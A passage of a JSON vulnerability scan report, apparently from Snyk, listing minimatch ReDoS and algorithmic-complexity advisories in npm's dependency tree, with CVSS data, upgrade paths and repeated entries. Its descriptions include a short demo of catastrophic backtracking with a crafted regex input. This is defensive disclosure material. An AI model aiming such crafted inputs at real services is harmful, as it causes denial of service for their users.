around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": 